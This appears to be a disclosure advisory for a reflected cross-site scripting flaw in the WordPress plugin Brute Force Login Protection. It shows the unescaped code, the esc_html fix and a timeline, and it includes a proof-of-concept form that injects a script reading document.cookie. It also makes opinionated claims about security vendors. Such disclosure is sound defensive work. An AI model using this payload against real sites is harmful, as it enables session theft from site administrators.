Reflected Cross-Site Scripting (XSS) Vulnerability in Brute Force Login Protection
Far too often we have found that security companies are spreading false information related to the security of WordPress. One of the most popular falsehoods they spread is that there are a lot of brute force attacks against WordPress admin users, despite their own evidence showing that those attacks are not happening. The cause of those false claims seems to be some mix of lack of security knowledge and using it to promote their products (it’s much easy for them to protect against something that isn’t happening then to protect against real threats). There are a number of consequences of doing that, from people believing that WordPress is insecure in a way it isn’t, to people not focusing on real problems, and causing people to introduce additional vulnerabilities on to their websites.
That last issue can be seen in the vulnerability we recently found in the plugin Brute Force Login Protection, which as you can guess from the name is intended to protect against brute force attacks. The plugin didn’t properly handle user input leading to a reflected cross-site scripting (XSS) vulnerability. That isn’t a major issue as all of the major web browsers other than Firefox have XSS filtering that would prevent many attempts to exploit this and we don’t see hackers trying to target this on a wide scale, but it is a threat that wouldn’t have existed on the websites using the plugin if there wasn’t the false claim that brute force attacks were happening.
That vulnerability has now been fixed, but in a not great sign of how security is handled with WordPress plugins, the changelog entry for the version that fixes is simply labeled as “bugfix”.
The vulnerability occurred on the plugin’s setting page due to the value of the POST input “IP” being output with be sanitized or escaped. This occurs in the function showSettingsPage() in the file /brute-force-login-protection.php, here is the first instance it occurs:
145 146 147 148 149 150 151 152 153 154 155 | $IP = $_POST['IP']; if (isset($_POST['block'])) { //Manually block IP $whitelist = $this->__getWhitelist(); if (in_array($IP, $whitelist)) { $this->__showError(sprintf(__('You can\'t block a whitelisted IP', 'brute-force-login-protection'), $IP)); } elseif ($this->__htaccess->denyIP($IP)) { $this->__showMessage(sprintf(__('IP %s blocked', 'brute-force-login-protection'), $IP)); } else { $this->__showError(sprintf(__('An error occurred while blocking IP %s', 'brute-force-login-protection'), $IP)); } |
The showError() function was this in version 1.5.2 (also from the file /brute-force-login-protection.php):
private function __showError($message) { echo '<div class="error"><p>' . $message . '</p></div>'; }
In version 1.5.3 escaping was added to it:
private function __showError($message) {private function __showError($message) { echo '<div class="error"><p>' . esc_html($message) . '</p></div>';}
Proof of Concept
The following proof of concept will cause any available cookies to be shown in alert box. Major web browsers other than Firefox provide XSS filtering, so this proof of concept will not work in those web browsers.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/options-general.php?page=brute-force-login-protection" method="POST"> <input type="hidden" name="block" value="Manually block IP" /> <input type="hidden" name="IP" value='"><script>alert(document.cookie);</script>' /> <input type="submit" value="Submit" /> </form> </body> </html>
Timeline
- June 28, 2017 – Developer notified.
- June 29, 2017 – Version 1.5.3 released, which fixes vulnerability.